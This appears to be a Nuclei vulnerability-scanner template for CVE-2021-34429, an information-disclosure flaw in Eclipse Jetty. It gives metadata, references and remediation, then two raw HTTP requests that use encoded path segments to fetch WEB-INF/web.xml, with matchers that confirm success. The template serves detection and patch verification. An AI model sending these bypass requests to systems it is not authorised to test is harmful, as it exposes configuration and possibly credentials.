CVE-2021-34429: Eclipse Jetty - Information Disclosure

id: CVE-2021-34429

info:
  name: Eclipse Jetty - Information Disclosure
  author: bernardofsr,am0nt31r0,diedromeo
  severity: medium
  description: |
    Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to potential unauthorized access or further attacks.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
    - https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
    - https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34429
    - https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@%3Cnotifications.zookeeper.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-34429
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.99298
    epss-percentile: 0.99938
    cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,jetty,eclipse,vkev,vuln

http:
  - raw:
      - |
        GET /%u002e/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /.%00/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}

    disable-path-automerge: true
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</web-app>"

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100aeccc9b0b5b42475807df7c77443a7327422dd3653b52499a8f1521e93d35856022068619e8112c34b328f078270331df0ecd9512fe207730345ececf8b1285c8703:922c64590222798bb761d5b6d8e72950

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